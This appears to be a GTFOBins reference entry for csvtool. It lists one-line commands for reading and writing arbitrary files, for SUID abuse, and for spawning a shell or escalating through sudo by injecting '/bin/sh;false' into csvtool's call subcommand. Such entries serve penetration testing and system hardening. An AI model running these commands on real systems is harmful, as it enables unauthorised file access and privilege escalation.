GTFOBins.github.io/_gtfobins/csvtool.md
2021-04-18 11:17:49 +02:00

24 lines
692 B
Markdown

---
functions:
file-read:
- description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
code: |
LFILE=file_to_read
csvtool trim t $LFILE
file-write:
- description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo DATA > $TF
csvtool trim t $TF -o $LFILE
suid:
- code: |
LFILE=file_to_read
./csvtool trim t $LFILE
shell:
- code: csvtool call '/bin/sh;false' /etc/passwd
sudo:
- code: sudo csvtool call '/bin/sh;false' /etc/passwd
---